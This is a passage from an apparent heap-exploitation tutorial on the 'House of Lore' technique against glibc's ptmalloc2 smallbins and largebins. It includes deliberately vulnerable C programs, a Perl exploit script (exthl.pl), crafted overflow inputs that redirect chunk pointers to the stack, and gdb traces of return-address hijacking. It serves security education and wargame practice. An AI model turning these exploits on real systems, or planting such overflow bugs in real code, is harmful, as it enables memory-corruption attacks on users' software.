will say that the last piece in the bin points to the bin itself, and
|
|
therefore, the allocation must be extracted from another place.
|
|
|
|
Until here all right, then, what do we need to exploit the program?
|
|
|
|
1) Overwrite buff2->bk with an address on the stack near a saved return
|
|
address (inside the frame created by func1( )).
|
|
|
|
2) This address, in turn, must fall on a site such that the "bk" pointer of
|
|
this fake chunk will be an address with write permissions.
|
|
|
|
3) The evil_func()'s address with which we want to overwrite EIP and the
|
|
necessary padding to achieve the return address.
|
|
|
|
Let's start with the basics:
|
|
|
|
If we set a breakpoint in func1( ) and examine memory, we get:
|
|
|
|
|
|
(gdb) x/16x $ebp-32
|
|
0xbffff338: 0x00000000 0x00000000 0xbffff388 0x00743fc0
|
|
0xbffff348: 0x00251340 0x00182a20 0x00000000 0x00000000
|
|
0xbffff358: 0xbffff388 0x08048d1e 0x0804ffe8 0xbffff5d7
|
|
0xbffff368: 0x0804c0b0 0xbffff388 0x0013f345 0x08050088
|
|
|
|
EBP -> 0xbffff358
|
|
RET -> 0xbffff35C
|
|
|
|
|
|
But the important thing here is that we must alter buff2->bk with the
|
|
"0xbffff33c" value so the new victim->bk take a writable address.
|
|
|
|
Items 1 and 2 passed. The evil_func()'s address is:
|
|
|
|
|
|
(gdb) disass evil_func
|
|
Dump of assembler code for function evil_func:
|
|
0x08048ba4 <evil_func+0>: push %ebp
|
|
|
|
|
|
And now, without further delay, let's see what happens when we merge all
|
|
these elements into a single attack:
|
|
|
|
|
|
black@odisea:~/ptmalloc2$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' >
|
|
evil.in
|
|
|
|
...
|
|
|
|
(gdb) run `perl -e 'print "A"x28 . "\x3c\xf3\xff\xbf"'` < evil.in
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff1 -> [ 0x804ffe8 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff2 -> [ 0x8050000 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff3 -> [ 0x8050088 ]
|
|
|
|
[PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ])
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff4 -> [ 0x8050190 ]
|
|
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0x804fff8 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbffff33c ]) // First stage of attack
|
|
LB1 -> [ 0x8050000 ]
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0xbffff33c ]) // Victim in the stack
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbffff378 ]) // Address with write perms
|
|
|
|
LB2 -> [ 0xbffff344 ] // Boom!
|
|
Which is your favourite hobby?
|
|
|
|
This is an evil function. You become a cool hacker if you are able to
|
|
execute it. // We get a cool msg.
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x08048bb7 in evil_func ()
|
|
(gdb)
|
|
|
|
|
|
You must be starting to understand now what I wanted to explain in the
|
|
preface of this article, instead of discovering or inventing a new
|
|
technique, what we have been doing for a long time is to find the way to
|
|
design a vulnerable application to this technique which had fallen us from
|
|
the sky a few years ago.
|
|
|
|
Compile this example with normal GLIBC and you will get the same result,
|
|
only remember adjusting evil_func( ) address or the area where you have
|
|
stored your custom arbitrary code.
|
|
|
|
|
|
|
|
<< The unexamined life is not worth living. >>
|
|
|
|
[ Socrates ]
|
|
|
|
|
|
|
|
.----------------------------.
|
|
---[ 2.2.2 ---[ A More Confusing Example ]---
|
|
.----------------------------.
|
|
|
|
To understand how THoL could be applied in a real-life application, I
|
|
present below a source code created by me as if it were a game, that will
|
|
offer a broader view of the attack.
|
|
|
|
This is a crude imitation of an agent manager. The only thing this program
|
|
can do is creating a new agent, editing it (ie edit their names and
|
|
descriptions) or deleting it. To save space, one could edit only certain
|
|
fields of an agent, leaving the other free without taking up memory or
|
|
freeing when no longer needed.
|
|
|
|
In addition, to avoid unnecessary extensions in this paper, the entire
|
|
information entered into the program is not saved in any database and only
|
|
remains available while the application is in execution.
|
|
|
|
|
|
---[ agents.c ]---
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void main_menu(void);
|
|
|
|
void create_agent(void);
|
|
void select_agent(void);
|
|
void edit_agent(void);
|
|
void delete_agent(void);
|
|
|
|
void edit_name(void);
|
|
void edit_lastname(void);
|
|
void edit_desc(void);
|
|
void delete_name(void);
|
|
void delete_lastname(void);
|
|
void delete_desc(void);
|
|
void show_data_agent(void);
|
|
|
|
typedef struct agent {
|
|
int id;
|
|
char *name;
|
|
char *lastname;
|
|
char *desc;
|
|
} agent_t;
|
|
|
|
agent_t *agents[256];
|
|
int agent_count = 0;
|
|
int sel_ag = 0;
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
main_menu();
|
|
}
|
|
|
|
void main_menu(void)
|
|
{
|
|
int op = 0;
|
|
char opt[2];
|
|
|
|
printf("\n\t\t\t\t[1] Create new agent");
|
|
printf("\n\t\t\t\t[2] Select Agent");
|
|
printf("\n\t\t\t\t[3] Show Data Agent");
|
|
printf("\n\t\t\t\t[4] Edit agent");
|
|
printf("\n\t\t\t\t[0] <- EXIT");
|
|
printf("\n\t\t\t\tSelect your option:");
|
|
fgets(opt, 3, stdin);
|
|
|
|
op = atoi(opt);
|
|
|
|
switch (op) {
|
|
case 1:
|
|
create_agent();
|
|
break;
|
|
case 2:
|
|
select_agent();
|
|
break;
|
|
case 3:
|
|
show_data_agent();
|
|
break;
|
|
case 4:
|
|
edit_agent();
|
|
break;
|
|
case 0:
|
|
exit(0);
|
|
default:
|
|
break;
|
|
}
|
|
|
|
main_menu();
|
|
}
|
|
|
|
void create_agent(void)
|
|
{
|
|
agents[agent_count] = (agent_t *) malloc(sizeof(agent_t));
|
|
sel_ag = agent_count;
|
|
agents[agent_count]->id = agent_count;
|
|
agents[agent_count]->name = NULL;
|
|
agents[agent_count]->lastname = NULL;
|
|
agents[agent_count]->desc = NULL;
|
|
printf("\nAgent %d created, now you can edit it", sel_ag);
|
|
agent_count += 1;
|
|
}
|
|
|
|
void select_agent(void)
|
|
{
|
|
char ag_num[2];
|
|
int num;
|
|
|
|
printf("\nWrite agent number: ");
|
|
fgets(ag_num, 3, stdin);
|
|
num = atoi(ag_num);
|
|
|
|
if ( num >= agent_count ) {
|
|
printf("\nOnly %d available agents, select another", agent_count);
|
|
} else {
|
|
sel_ag = num;
|
|
printf("\n[+] Agent %d selected.", sel_ag);
|
|
}
|
|
}
|
|
|
|
void show_data_agent(void)
|
|
{
|
|
printf("\nAgent [%d]", agents[sel_ag]->id);
|
|
|
|
printf("\nName: ");
|
|
if(agents[sel_ag]->name != NULL)
|
|
printf("%s", agents[sel_ag]->name);
|
|
|
|
printf("\nLastname: ");
|
|
if(agents[sel_ag]->lastname != NULL)
|
|
printf("%s", agents[sel_ag]->lastname);
|
|
|
|
printf("\nDescription: ");
|
|
if(agents[sel_ag]->desc != NULL)
|
|
printf("%s", agents[sel_ag]->desc);
|
|
}
|
|
|
|
void edit_agent(void)
|
|
{
|
|
int op = 0;
|
|
char opt[2];
|
|
|
|
printf("\n\t\t\t\t[1] Edit name");
|
|
printf("\n\t\t\t\t[2] Edit lastname");
|
|
printf("\n\t\t\t\t[3] Edit description");
|
|
printf("\n\t\t\t\t[4] Delete name");
|
|
printf("\n\t\t\t\t[5] Delete lastname");
|
|
printf("\n\t\t\t\t[6] Delete description");
|
|
printf("\n\t\t\t\t[7] Delete agent");
|
|
printf("\n\t\t\t\t[0] <- MAIN MENU");
|
|
printf("\n\t\t\t\tSelect Agent Option: ");
|
|
fgets(opt, 3, stdin);
|
|
|
|
op = atoi(opt);
|
|
|
|
switch (op) {
|
|
case 1:
|
|
edit_name();
|
|
break;
|
|
case 2:
|
|
edit_lastname();
|
|
break;
|
|
case 3:
|
|
edit_desc();
|
|
break;
|
|
case 4:
|
|
delete_name();
|
|
break;
|
|
case 5:
|
|
delete_lastname();
|
|
break;
|
|
case 6:
|
|
delete_desc();
|
|
break;
|
|
case 7:
|
|
delete_agent();
|
|
break;
|
|
case 0:
|
|
main_menu();
|
|
default:
|
|
break;
|
|
}
|
|
|
|
edit_agent();
|
|
}
|
|
|
|
void edit_name(void)
|
|
{
|
|
if(agents[sel_ag]->name == NULL) {
|
|
agents[sel_ag]->name = (char *) malloc(32);
|
|
printf("\n[!!!]malloc(ed) name [ %p ]", agents[sel_ag]->name);
|
|
}
|
|
|
|
printf("\nWrite name for this agent: ");
|
|
fgets(agents[sel_ag]->name, 322, stdin);
|
|
}
|
|
|
|
void delete_name(void)
|
|
{
|
|
if(agents[sel_ag]->name != NULL) {
|
|
free(agents[sel_ag]->name);
|
|
agents[sel_ag]->name = NULL;
|
|
}
|
|
}
|
|
|
|
void edit_lastname(void)
|
|
{
|
|
if(agents[sel_ag]->lastname == NULL) {
|
|
agents[sel_ag]->lastname = (char *) malloc(128);
|
|
printf("\n[!!!]malloc(ed) lastname [ %p ]",agents[sel_ag]->lastname);
|
|
}
|
|
|
|
printf("\nWrite lastname for this agent: ");
|
|
fgets(agents[sel_ag]->lastname, 127, stdin);
|
|
}
|
|
|
|
void delete_lastname(void)
|
|
{
|
|
if(agents[sel_ag]->lastname != NULL) {
|
|
free(agents[sel_ag]->lastname);
|
|
agents[sel_ag]->lastname = NULL;
|
|
}
|
|
}
|
|
|
|
void edit_desc(void)
|
|
{
|
|
if(agents[sel_ag]->desc == NULL) {
|
|
agents[sel_ag]->desc = (char *) malloc(256);
|
|
printf("\n[!!!]malloc(ed) desc [ %p ]", agents[sel_ag]->desc);
|
|
}
|
|
|
|
printf("\nWrite description for this agent: ");
|
|
fgets(agents[sel_ag]->desc, 255, stdin);
|
|
}
|
|
|
|
void delete_desc(void)
|
|
{
|
|
if(agents[sel_ag]->desc != NULL) {
|
|
free(agents[sel_ag]->desc);
|
|
agents[sel_ag]->desc = NULL;
|
|
}
|
|
}
|
|
|
|
void delete_agent(void)
|
|
{
|
|
if (agents[sel_ag] != NULL) {
|
|
free(agents[sel_ag]);
|
|
agents[sel_ag] = NULL;
|
|
|
|
printf("\n[+] Agent %d deleted\n", sel_ag);
|
|
|
|
if (sel_ag == 0) {
|
|
agent_count = 0;
|
|
printf("\n[!] Empty list, please create new agents\n");
|
|
} else {
|
|
sel_ag -= 1;
|
|
agent_count -= 1;
|
|
printf("[+] Current agent selection: %d\n", sel_ag);
|
|
}
|
|
} else {
|
|
printf("\n[!] No agents to delete\n");
|
|
}
|
|
}
|
|
|
|
---[ end agents.c ]---
|
|
|
|
|
|
This is the perfect program that I would present in a wargame to those who
|
|
wish to apply the technique described in this paper.
|
|
|
|
|
|
Someone might think that maybe this program is vulnerable to other
|
|
techniques described in the Malloc Des-Maleficarum. Indeed given the
|
|
ability of the user to manage the memory space, it may seem that The House
|
|
of Mind can be applied here, but one must see that the program limits us to
|
|
the creation of 256 structures of type "agent_t", and that the size of
|
|
these structures is about 432 bytes (approximately when you allocate all
|
|
its fields). If we multiply this number by 256 we get: (110592 = 0x1B000h)
|
|
which seems too small to let us achieve the desirable address "0x08100000"
|
|
necessary to corrupt the NON_MAIN_ARENA bit of an already allocated chunk
|
|
above that address (and thus create a fake arena in order to trigger the
|
|
attack aforementioned).
|
|
|
|
Another technique that one would take as viable would be The House of Force
|
|
since at first it is easy to corrupt the Wilderness (the Top Chunk), but
|
|
remember that in order to apply this method one of the requirements is that
|
|
the size of a call to malloc( ) must been defined by the designer with the
|
|
main goal of corrupting "av->top". This seems impossible here.
|
|
|
|
Other techniques are also unworkable for several reasons, each due to their
|
|
intrinsic requirements. So we must study how to sort the steps that trigger
|
|
the vulnerability and the attack process that we have studied so far.
|
|
|
|
Let's see in detail:
|
|
|
|
After a quick look, we found that the only vulnerable function is:
|
|
|
|
|
|
void edit_name(void) {
|
|
...
|
|
agents[sel_ag]->name = (char *) malloc(32);
|
|
...
|
|
fgets(agents[sel_ag]->name, 322, stdin);
|
|
|
|
|
|
At first it seems a simple typographical error, but it allows us to
|
|
override the memory chunk that we allocated after "agents[]->name", which
|
|
can be any, since the program allows practically a full control over
|
|
memory.
|
|
|
|
To imitate the maximum possible vulnerable process shown in the previous
|
|
section, the most obvious thing we can do to start is to create a new agent
|
|
(0) and edit all fields. With this we get:
|
|
|
|
|
|
malloc(sizeof(agent_t)); // new agent
|
|
malloc(32); // agents[0]->name
|
|
malloc(128); // agents[0]->lastname
|
|
malloc(256); // agents[0]->desc
|
|
|
|
|
|
The main target is to overwrite the "bk" pointer in the field
|
|
"agents[]->lastname" if we have freed this chunk previously. Moreover,
|
|
between these two actions, we need to allocate a chunk of memory to be
|
|
selected from the "TOP code", so that the chunks present in the unsorted
|
|
bin are sorted in their corresponding bins for a later reuse.
|
|
|
|
For this, what we do is create a new agent(1), select the first agent(0)
|
|
and delete its field "lastname", select the second agent(1) and edit its
|
|
description. This is equal to:
|
|
|
|
|
|
malloc(sizeof(agent_t)); // Get a chunk from TOP code
|
|
free(agents[0]->lastname); // Insert chunk at unsorted bin
|
|
malloc(256); // Get a chunk from TOP code
|
|
|
|
|
|
After this last call to malloc( ), the freed chunk of 128 bytes (lastname)
|
|
will have been placed in its corresponding bin. Now we can alter "bk"
|
|
pointer of this chunk, and for this we select again the first agent(0) and
|
|
edit its name (here there will be no call to malloc( ) since it has been
|
|
previously assigned).
|
|
|
|
At this time, we can place a proper memory address pointing to the stack
|
|
and make two calls to malloc(128), first editing the "lastname" field of
|
|
the second agent(1) and then editing the "lastname" field of agent(0) one
|
|
more time.
|
|
|
|
These latest actions should return a memory pointer located in the stack in
|
|
a position of your choice, and any written content on "agents[0]->lastname"
|
|
could corrupt a saved return address.
|
|
|
|
Without wishing to dwell too much more, we show here how a tiny-exploit
|
|
alter the above pointer "bk" and returns a chunk of memory located in the
|
|
stack:
|
|
|
|
|
|
---[ exthl.pl ]---
|
|
|
|
#!/usr/bin/perl
|
|
|
|
print "1\n" . # Create agents[0]
|
|
"4\n" . # Edit agents[0]
|
|
"1\nblack\n" . # Edit name agents[0]
|
|
"2\nngel\n" . # Edit lastname agents[0]
|
|
"3\nsuperagent\n" . # Edit description agents[0]
|
|
"0\n1\n" . # Create agents[1]
|
|
"2\n0\n" . # Select agents[0]
|
|
"4\n5\n" . # Delete lastname agents[0]
|
|
"0\n2\n1\n" . # Select agents[1]
|
|
"4\n" . # Edit agents[1]
|
|
"3\nsupersuper\n" . # Edit description agents[1]
|
|
"0\n2\n0\n" . # Select agents[0]
|
|
"4\n" . # Edit agents[0]
|
|
"1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
|
|
"\x94\xee\xff\xbf" . # Edit name[0] and overwrite "lastname->bk"
|
|
"\n0\n2\n1\n" . # Select agents[1]
|
|
"4\n" . # Edit agents[1]
|
|
"2\nother\n" . # Edit lastname agents[1]
|
|
"0\n2\n0\n" . # Select agents[0]
|
|
"4\n" . # Edit agents[0]
|
|
"2\nBBBBBBBBBBBBBBBBBBBBB" .
|
|
"BBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"; # Edit lastname agents[0]
|
|
# and overwrite a {RET}
|
|
|
|
---[ end exthl.pl ]---
|
|
|
|
|
|
And here is the result, displaying only the outputs of interest for us:
|
|
|
|
|
|
black@odisea:~/ptmalloc2$ ./exthl | ./agents
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0x8 ]) // Create new agents[0]
|
|
Agent 0 created, now you can edit it
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
[!!!]malloc(ed) name [ 0x804f020 ] // Edit name agents[0]
|
|
Write name for this agent:
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
[!!!]malloc(ed) lastname [ 0x804f048 ] // Edit lastname agents[0]
|
|
Write lastname for this agent:
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
[!!!]malloc(ed) desc [ 0x804f0d0 ] // Edit description agents[0]
|
|
Write description for this agent:
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Agent 1 created, now you can edit it // Create new agents[1]
|
|
|
|
.....
|
|
|
|
Write agent number:
|
|
[+] Agent 0 selected. // Select agents[0]
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Freed and unsorted [ 0x804f040 ] chunk) // Delete lastname
|
|
|
|
.....
|
|
|
|
Write agent number:
|
|
[+] Agent 1 selected. // Select agents[1]
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
[!!!]malloc(ed) desc [ 0x804f1f0 ] // Edit description agents[1]
|
|
Write description for this agent:
|
|
|
|
.....
|
|
|
|
Write agent number:
|
|
[+] Agent 0 selected. // Select agents[0]
|
|
|
|
.....
|
|
|
|
Write name for this agent: // Edit name agents[0]
|
|
|
|
Write agent number:
|
|
[+] Agent 1 selected. // Select agents[1]
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0x804f048 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbfffee94 ])
|
|
|
|
[!!!]malloc(ed) lastname [ 0x804f048 ]
|
|
Write lastname for this agent: // Edit lastname agents[1]
|
|
|
|
.....
|
|
|
|
Write agent number:
|
|
[+] Agent 0 selected. // Select agents[0]
|
|
|
|
.....
|
|
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0xbfffee94 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ])
|
|
|
|
[!!!]malloc(ed) lastname [ 0xbfffee9c ] // Edit lastname agents[0]
|
|
Segmentation fault
|
|
black@odisea:~/ptmalloc2$
|
|
|
|
|
|
Everyone can predict what happened in the end, but GDB can clarify for us a
|
|
few things:
|
|
|
|
|
|
----- snip -----
|
|
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0xbfffee94 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ])
|
|
|
|
[!!!]malloc(ed) lastname [ 0xbfffee9c ]
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x080490f6 in edit_lastname ()
|
|
(gdb) x/i $eip
|
|
0x80490f6 <edit_lastname+150>: ret
|
|
(gdb) x/8x $esp
|
|
0xbfffee9c: 0x42424242 0x42424242 0x42424242 0x42424242
|
|
0xbfffeeac: 0x42424242 0x42424242 0x42424242 0x42424242
|
|
(gdb)
|
|
|
|
----- snip -----
|
|
|
|
|
|
And you have moved to the next level of your favorite wargame, or at least
|
|
you have increased your level of knowledge and skills.
|
|
|
|
Now, I encourage you to compile this program with your regular glibc (not
|
|
static Ptmalloc2), and verify that the result is exactly the same, it does
|
|
not change the inside code.
|
|
|
|
I don't know if anyone had noticed, but another of the techniques that in
|
|
principle could be applied to this case is the forgotten The House of
|
|
Prime. The requirement for implementing it is the manipulation of the
|
|
header of two chunks that will be freed. This is possible since an overflow
|
|
in agents[]->name can override both agents[]->lastname and agents[]->desc,
|
|
and we can decide both when freeing them and in what order. However, The
|
|
House of Prime needs also at least the possibility of placing an integer
|
|
on the stack to overcome a last check and this is where it seems that we
|
|
stay trapped. Also, remember that since glibc 2.3.6 one can no longer pass
|
|
to free( ) a chunk smaller than 16 bytes whereas this is the first
|
|
requirement inherent to this technique (alter the size field of the first
|
|
piece overwritten 0x9h = 0x8h + PREV_INUSE bit).
|
|
|
|
|
|
|
|
<< It is common sense to take a method and
|
|
try it; if it fails, admit it frankly and
|
|
try another. But above all, try something. >>
|
|
|
|
[ Franklin D. Roosevelt ]
|
|
|
|
|
|
|
|
.------------------------------.
|
|
---[ 3 ---[ LargeBin Corruption Method ]---
|
|
.------------------------------.
|
|
|
|
In order to apply the method recently explained to a largebin we need the
|
|
same conditions, except that the size of the chunks allocated should be
|
|
above 512 bytes as seen above.
|
|
|
|
However, in this case the code triggered in "_int_malloc( )" is different
|
|
and more complex. Extra requirements will be necessary in order to achieve
|
|
a successful execution of arbitrary code.
|
|
|
|
We will make some minor modifications to the vulnerable program presented
|
|
in 2.2.1 and will see, through the practice, which of these preconditions
|
|
must be met.
|
|
|
|
Here is the code:
|
|
|
|
|
|
---[ thl-large.c ]---
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void evil_func(void)
|
|
{
|
|
printf("\nThis is an evil function. You become a cool \
|
|
hacker if you are able to execute it\n");
|
|
}
|
|
|
|
void func1(void)
|
|
{
|
|
char *lb1, *lb2;
|
|
|
|
lb1 = (char *) malloc(1536);
|
|
printf("\nLB1 -> [ %p ]", lb1);
|
|
lb2 = malloc(1536);
|
|
printf("\nLB2 -> [ %p ]", lb2);
|
|
|
|
strcpy(lb1, "Which is your favourite hobby: ");
|
|
printf("\n%s", lb1);
|
|
fgets(lb2, 128, stdin);
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char *buff1, *buff2, *buff3;
|
|
|
|
malloc(4096);
|
|
buff1 = (char *) malloc(1024);
|
|
printf("\nBuff1 -> [ %p ]", buff1);
|
|
buff2 = (char *) malloc(2048);
|
|
printf("\nBuff2 -> [ %p ]", buff2);
|
|
buff3 = (char *) malloc(4096);
|
|
printf("\nBuff3 -> [ %p ]\n", buff3);
|
|
|
|
free(buff2);
|
|
|
|
printf("\nBuff4 -> [ %p ]", malloc(4096));
|
|
|
|
strcpy(buff1, argv[1]);
|
|
|
|
func1();
|
|
|
|
return 0;
|
|
}
|
|
|
|
---[ end thl-large.c ]---
|
|
|
|
|
|
As you can see, we still need an extra reserve (buff4) after releasing the
|
|
second allocated chunk. This is because it's not a good idea to have a
|
|
corrupted "bk" pointer in a chunk that still is in the unsorted bin. When
|
|
it happens, the program usually breaks sooner or later in the instructions:
|
|
|
|
|
|
/* remove from unsorted list */
|
|
unsorted_chunks(av)->bk = bck;
|
|
bck->fd = unsorted_chunks(av);
|
|
|
|
|
|
But if we do not make anything wrong before the recently freed chunk is
|
|
placed in its corresponding bin, then we pass without penalty or glory the
|
|
next area code:
|
|
|
|
|
|
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
|
|
...
|
|
}
|
|
|
|
|
|
Having passed this code means that (buff2) has been introduced in its
|
|
corresponding largebin. Therefore we will reach this code:
|
|
|
|
|
|
----- snip -----
|
|
|
|
if (!in_smallbin_range(nb)) {
|
|
bin = bin_at(av, idx);
|
|
|
|
for (victim = last(bin); victim != bin; victim = victim->bk) {
|
|
size = chunksize(victim);
|
|
|
|
if ((unsigned long)(size) >= (unsigned long)(nb)) {
|
|
printf("\n[PTMALLOC2] No enter here please\n");
|
|
remainder_size = size - nb;
|
|
unlink(victim, bck, fwd);
|
|
.....
|
|
|
|
----- snip -----
|
|
|
|
|
|
This does not look good. The unlink( ) macro is called, and we know the
|
|
associated protection since the 2.3.6 version of Glibc. Going there would
|
|
destroy all the work done until now.
|
|
|
|
Here comes one of the first differences in the largebin corruption method.
|
|
In 2.2.1 we said that after overwriting the "bk" pointer of the free( )
|
|
chunk, two calls to malloc( ) with the same size should be carried out to
|
|
return a pointer *mem in an arbitrary memory address.
|
|
|
|
In largebin corruption, we must avoid this code at all cost. For this, the
|
|
two calls to malloc( ) must be less than buff2->size. Phantasmal told us
|
|
"512 < M < N", and that is what we see in our vulnerable application:
|
|
512 < 1536 < 2048.
|
|
|
|
As it has not previously been freed any chunk of this size (1536) or at
|
|
least belonging to the same bin, "_int_malloc( )" tries to search a chunk
|
|
that can fulfill the request from the next bin to the recently scanned:
|
|
|
|
|
|
// Search for a chunk by scanning bins, starting with next largest bin.
|
|
|
|
++idx;
|
|
bin = bin_at(av,idx);
|
|
|
|
|
|
And here is where the magic comes, the following piece of code will be
|
|
executed:
|
|
|
|
|
|
----- snip -----
|
|
|
|
victim = last(bin);
|
|
.....
|
|
else {
|
|
size = chunksize(victim);
|
|
|
|
remainder_size = size - nb;
|
|
|
|
printf("\n[PTMALLOC2] -> (Largebin code reached)");
|
|
printf("\n[PTMALLOC2] -> remander_size = size (%d) - nb (%d) = %u", size,
|
|
nb, remainder_size);
|
|
printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim);
|
|
printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", victim->bk);
|
|
|
|
/* unlink */
|
|
bck = victim->bk;
|
|
bin->bk = bck;
|
|
bck->fd = bin;
|
|
|
|
/* Exhaust */
|
|
if (remainder_size < MINSIZE) {
|
|
printf("\n[PTMALLOC2] -> Exhaust code!! You win!\n");
|
|
.....
|
|
return chunk2mem(victim);
|
|
}
|
|
|
|
/* Split */
|
|
else {
|
|
.....
|
|
set_foot(remainder, remainder_size);
|
|
check_malloced_chunk(av, victim, nb);
|
|
return chunk2mem(victim);
|
|
}
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
The code has been properly trimmed to show only the parts that have
|
|
relevance in the method we are describing. Calls to printf( ) are of my own
|
|
and you will soon see its usefulness.
|
|
|
|
Also it's easy to see that the process is practically the same as in the
|
|
smallbin code. You take the last chunk of the respective largebin
|
|
(last(bin)) in "victim" and proceed to unlink it (without macro) before
|
|
reaching the user control. Since we control "victim->bk", at first the
|
|
attack requirements are the same, but then, where is the difference?
|
|
|
|
Calling set_foot( ) tends to produce a segmentation fault since that
|
|
"remainder_size" is calculated from "victim->size", value that until now we
|
|
were filling out with random data. The result is something like the
|
|
following:
|
|
|
|
|
|
(gdb) run `perl -e 'print "A" x 1036 . "\x44\xf0\xff\xbf"'`
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff1 -> [ 0x8050010 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff2 -> [ 0x8050418 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff3 -> [ 0x8050c20 ]
|
|
|
|
[PTMALLOC2] -> (Freed and unsorted [ 0x8050410 ] chunk)
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff4 -> [ 0x8051c28 ]
|
|
[PTMALLOC2] -> (Largebin code reached)
|
|
[PTMALLOC2] -> remander_size = size (1094795584) - nb (1544) = 1094794040
|
|
[PTMALLOC2] -> (victim = [ 0x8050410 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbffff044 ])
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144
|
|
4144 set_foot(remainder, remainder_size);
|
|
(gdb)
|
|
|
|
|
|
The solution is then enforce the conditional:
|
|
|
|
if (remainder_size < MinSize) {
|
|
...
|
|
}.
|
|
|
|
Anyone might think of overwriting "victim->size" with a value like
|
|
"0xfcfcfcfc" which would generate as a result a negative number smaller
|
|
than MINSIZE, but we must remember that "remainder_size" is defined as an
|
|
"unsigned long" and therefore the result will always be a positive value.
|
|
|
|
The only possibility that remains then is that the vulnerable application
|
|
allows us to insert null bytes in the attack string, and therefore to
|
|
supply a value as (0x00000610 = 1552) that would generate:
|
|
1552 - 1544 (align) = 8 and the condition would be fulfilled. Let us see in
|
|
action:
|
|
|
|
|
|
(gdb) set *(0x08050410+4)=0x00000610
|
|
(gdb) c
|
|
Continuing.
|
|
Buff4 -> [ 0x8051c28 ]
|
|
[PTMALLOC2] -> (Largebin code reached)
|
|
[PTMALLOC2] -> remander_size = size (1552) - nb (1544) = 8
|
|
[PTMALLOC2] -> (victim = [ 0x8050410 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbffff044 ])
|
|
|
|
[PTMALLOC2] -> Exhaust code!! You win!
|
|
|
|
LB1 -> [ 0x8050418 ]
|
|
[PTMALLOC2] -> (Largebin code reached)
|
|
[PTMALLOC2] -> remander_size = size (-1073744384) - nb (1544) = 3221221368
|
|
[PTMALLOC2] -> (victim = [ 0xbffff044 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0xbffff651 ])
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144
|
|
4144 set_foot(remainder, remainder_size);
|
|
|
|
|
|
Perfect, we reached the second memory request where we saw that victim is
|
|
equal to 0xbffff044 which being returned would provide a chunk whose *mem
|
|
pointes to the stack. However set_foot( ) again gives us problems, and this
|
|
is obviously because we are not controlling the "size" field of this fake
|
|
chunk created on the stack.
|
|
|
|
This is where we have to overcome the latter condition. Victim should point
|
|
to a memory location containing user-controlled data, so that we can enter
|
|
an appropriate "size" value and conclude the technique.
|
|
|
|
We end this section by saying that the largebin corruption method is not
|
|
just pure fantasy as we've made it a reality. However it is true that
|
|
finding the required preconditions of attack in real-life applications is
|
|
almost impossible.
|
|
|
|
As a curious note, one might try to overwrite "victim->size" with
|
|
0xffffffff (-1) and check that on this occasion set_foot( ) seems to follow
|
|
its course without breaking the program.
|
|
|
|
Note: Again we have not tested all versions of glibc, but we noted the
|
|
following fixes in advanced versions:
|
|
|
|
|
|
----- snip -----
|
|
|
|
else {
|
|
size = chunksize(victim);
|
|
|
|
/* We know the first chunk in this bin is big enough to use. */
|
|
assert((unsigned long)(size) >= (unsigned long)(nb)); <-- !!!!!!!
|
|
|
|
remainder_size = size - nb;
|
|
|
|
/* unlink */
|
|
unlink(victim, bck, fwd);
|
|
|
|
/* Exhaust */
|
|
if (remainder_size < MINSIZE) {
|
|
set_inuse_bit_at_offset(victim, size);
|
|
if (av != &main_arena)
|
|
